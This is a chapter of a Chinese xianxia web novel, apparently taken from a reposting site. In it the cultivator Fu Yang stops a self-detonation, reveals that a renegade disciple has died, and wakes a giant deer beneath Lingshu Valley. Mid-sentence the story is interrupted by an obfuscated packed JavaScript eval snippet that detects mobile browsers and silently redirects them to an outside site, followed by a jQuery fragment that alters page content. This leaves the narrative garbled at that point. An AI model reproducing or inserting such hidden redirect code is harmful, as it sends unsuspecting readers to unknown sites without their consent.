37. 第 37 章
作品:《修仙一定要先入土为安吗》 元乙的自爆本已经搅得周围灵气混乱不堪,可此时声音一响,那些异动却仿佛忽然被掐灭一样,变得悄无声息。
青祟敏锐地注意到,元乙的身边,多了一枚鎏金色的圆环。
颜色和流光都昭示着那来自伏漾。
可元乙身边的圆环,很大。
绝非伏漾身上的细细金环,此时的圆环,能圈住一整个人。
圆环还在不停地旋转翻转,包裹住元乙。
圆环内的自爆,则变得烟消云散。
一切都被静止。
连刚刚赶来的玉增城也停下。
他的眉头微皱,虽然自爆已经被阻止,但玉增城看起来并没有放松。
他的谨慎是对着另一个人的。
玉增城表情没什么变化,但言语多了几分尊敬。
他朝着盘腿坐在一根树杈上的少年作揖。
少年乌发红眸,姿势慵懒,他将手虚空一挥,圆环便被拉到他的身旁,而他头也不抬,正低着头百无聊赖地拨弄自己的手腕上的金环。
“前辈,又见面了。”玉增城说。
他对着伏漾说。
伏漾听到玉增城的话,轻笑一声。
“那还真是巧啊,又见面了。”
他拍了拍身下的树,更关心食梦梧桐:“小树,醒了?”
“还没松快完?真是个贪懒的孩子。”
他的声音纵容,面对身下这个不知经历岁月几何的巨树,却轻快地喊上“小树”。
说完这话,食梦梧桐抖了抖枝叶,从方才开始剧烈的舞动终于渐渐平息,它的动静变得更加像一棵安静的树。
青祟被食梦梧桐的枝条拉回到主干旁边,离伏漾很近,她自然能够看清听清两人的交流。
她还有什么不明白的呢?
伏漾显然不是什么树灵,他是树灵的主人,那名黑袍修士。
难怪第一次见到伏漾的时候,当自己提出这个猜测时,伏漾认下的语气那么微妙。
而玉增城,竟然比青祟想象的还要尊敬伏漾。
那伏漾到底是一个什么样的修士?
一个老怪物吗?
青祟透过树叶的缝隙,看着眉间镶嵌红玉的白面少年,只觉得他实在匹配不上“老怪物”三个字。
可她确实知道,无害年轻的面庞,不是单纯到极致,就是黑到极致。
看起来伏漾更符合后者。
伏漾晃着腿,对着旁边圈住元乙的金环伸出手指,轻轻一划,金环便更加飞快地转动起来。
他自顾自地说起话来。
“我本寻到个清静地方,躲一躲修仙界的闹腾劲,结果睡了还没多久,中途醒来就发现身边多了个宗门。”
“唉,我多心善,念在宗主是鬼修的份上,也就略微宽容了一些,只要不扰我清梦,此处梧桐荫蔽,自然可以分他一点。然后我便接着睡了。”
伏漾抚着自己的胸口,感叹他自己的善良。
“你应该听说过我的大度,一个宗门绕在我身边寒来暑往,吵吵闹闹,我还能容忍他们的动静穿插进我的梦里,百年没有冲他们发火,我已经很大度了吧。”伏漾煞有介事地说着。
“直到最近,我才又醒过来。”
“可惜,他却不珍惜我的大度。”伏漾指着元乙,轻轻“啧”了一声。
他转过头,等着玉增城的接话。
玉增城心中思绪万千。
从伏漾的话语中推测,他对元乙没什么好态度,甚至称得上嫌弃。可伏漾说了这么一通话,却还留着元乙。
若非金环作用,元乙早就死了。
可他现在还处于将死未死的状态,是死是活,归于伏漾。
可伏漾……
玉增城又想起了他父亲说过的话。
这位的脾性变化莫测,很难相与。
如今这种局面,玉增城猜不出伏漾是否想留下元乙。
伏漾继续问玉增城。
“那你呢?之前我已经拒绝了你,你如今来这里,是为了继续劝说我?继续扰我休息?还是说……”
伏漾声音忽然添上了笑意,问道:“还是为了找你那名叛逃的师叔?”
出现了新的角色?
青祟被枝条困着,自知单独靠自己逃脱不开,便主动摄取两个人对话里的信息,希望能对自己有用。
玉增城叛逃的师叔难道在灵树谷吗?
伏漾说:“如果是她的话,你已经来晚了。她已经和我手里的这个人,同归于尽了。”
“‘砰’一下的,”伏漾模拟着当时的声音,遗憾说道,“十分壮烈,可惜还是没有拉着他一起死掉。”
伏漾弹了一下金环,金环抖动嗡鸣。
玉增城怔住,显然没想到伏漾主动提及此事。
可想也合理,即便这位前辈选择在此避世,但周围的任何动向,岂能逃开他的神识?
他当然知道,中州仙宗内门弟子叛逃后,来到了这里。
躲到了这里。
张钰,是他的师叔,也是无名丹峰唯一的内门弟子。
她本就是长老们眼中的刺头,多年前盗取宗内灵草后便叛逃师门。
他此次出门,另一个任务便是将这位张师叔带回宗门。
说到底,盗取灵草之事本就可大可小。
因此宗内并未执意将她追回,甚至她的魂灯还点在宗中,日益黯淡。
寻回她才成为一件要紧事。
玉增城良久才开口:“多谢前辈告知。”
张钰故去,算上来竟有他的几分责任。
他是在半路遇到伏漾的,因此此前并未来到过灵树谷。
伏漾拒绝他后,玉增城便先行去追踪魔修邪修,铲除了此方天地的魔修后才准备来到灵树谷。
他本想着不过几月时间,于修士来说算不得时间。
但能够缓和一下与伏漾的交流,寻张钰的任务也不会迟上许多。
可方才他远远赶来,便察觉到此处的灵气波动。
灵气异常肆虐,显然不对劲,他已料到生了事故,全力御剑,可终究还是晚了。
伏漾显然有能力拦下,但他却没有任何理由要求对方拦下。
青祟也听出来了,他们口中的人是张钰。
杜青沐的师父。
她曾有几次听到张钰夸赞杜青沐是继承她衣钵的唯一人选。
竟没想到,张钰的传承,来自中州仙宗?
伏漾见玉增城默不作声,有些无趣,随口说道:“听说你那叛逃的师叔得过宗内奇缘,中州仙宗的丹品传承,应该足够久远吧?”
玉增城回道:“是,张师叔继承了无名丹峰,可传承苛刻,除了张师叔,再无人能从古籍中解惑感悟。”
中州仙宗地处大陆中央,在上古也算一片宝地,宗内范围都尚有一些传承,多是待有缘人继承。
玉增城听出了端倪,问道:“前辈,张师叔可是有徒弟?”
伏漾呵呵
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17348394|196679||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
笑了,指向一处:“有啊,在那洞里藏着,没死成,有不错的底子,比起炼丹,她本更适合修剑。”
“不过可惜,那小丫头本靠琉璃瞳塑出一身好剑骨,但金丹鬼气自腕中卷过,剑骨生了瑕疵,她的手废了,以后修不成剑。”
灵树谷自然什么都藏不过他,元乙捏住杜青沐腕骨的那时,她便失了修剑的天资。
她那一双眼睛,伏漾熟悉。
琉璃瞳与剑更相辅相成。
但废了就是废了。
玉增城心中微动,想去看看。
“别急啊,你今日来,不还为了再劝劝我吗?怎么,不劝了?”
一根枝条拦住玉增城。
玉增城只是有想法,便被伏漾看了出来。
“多谢前辈提点,父亲近来事务繁忙,我代父前来请您,本就有些冒犯,如今自然不敢再犯。”
“晚辈此次前来,只是有些疑惑,想请前辈解答。”
伏漾好奇看向他:“你说。”
“曾听闻不羡仙身边仙枝瑞兽随行,树为食梦,鹿为金砂。晚辈曾随您到过鹿城,却不见鹿。”
伏漾挑眉说:“鹿城又不是我起的名,小鹿自然不在那。不羡仙......我有多少年没听过这个名字了。”
他感叹了一声,忽地话语中兴趣满满。
“你既想看鹿,那很巧,鹿就在脚下啊。”
伏漾站起身,不理睬玉增城眼中的诧异。
他张开双臂,身上金环因脚下巨树的摇晃而作响。
他笑着说:“你且看,金砂睡了那么久,也该起身活动了!”
灵树谷此处深坑,几百年前现身这个地界,鹿掘谷的传说也便流传了几百年。
连修士都以为,这是个传说。
只因这里实在僻静,真正能记得久的人,早将此事化作一场梦,由食梦梧桐吞噬。
而今日,恰逢佳时,树摇鹿醒。
不羡仙再现于世。
灵树谷一片撼动,此次并非从天上踏波而来的飓风震动,而是自脚下发出不安的声响。
醒来的灵树谷弟子发现了一个可悲的事实。
他们的宗门立于深坑之中,可深坑,比他们想象的还要深。
杜香君当年所猜测的完全正确。
曾有一只通天的鹿,来到此处,用角在平地上掘出一片谷。
此时,鹿便醒了。
一双银色的鹿曈在地脉中睁开了眼。
金砂神鹿的鹿角巨大,生长得如海底抱团的珊瑚丛,角身繁密。
它从睡梦中醒了过来,站了起来,抖了抖身体。
崎岖的鹿角抖下泥土和砂石,它发出了一声悠远的鹿鸣。
食梦梧桐听到鹿鸣后,将那些还活着的人一个个扔到地面上。
而金砂神鹿,则将曲起蜷缩的腿伸展开,慢慢地立了起来。
灵草、药田,木屋和建筑,这片积累了三百年丹修余韵的灵树谷,靠着谷主的卑鄙和巨树庇护发家,最终消亡在最初的鹿身上。
天降一片甘露,便能润泽四方。
但甘露只此一次,往后的四方又因此而灭。
就像这片大陆上无数的仙缘传说一样。
修者落下剑的碎屑,凡间小国凭此荡平周边,成就霸主。
而后修者寻回碎屑,此国便如黄粱一梦,就此亡故。
灵树谷也不过其中普通一桩。
用来装点修仙界的斗转星移。

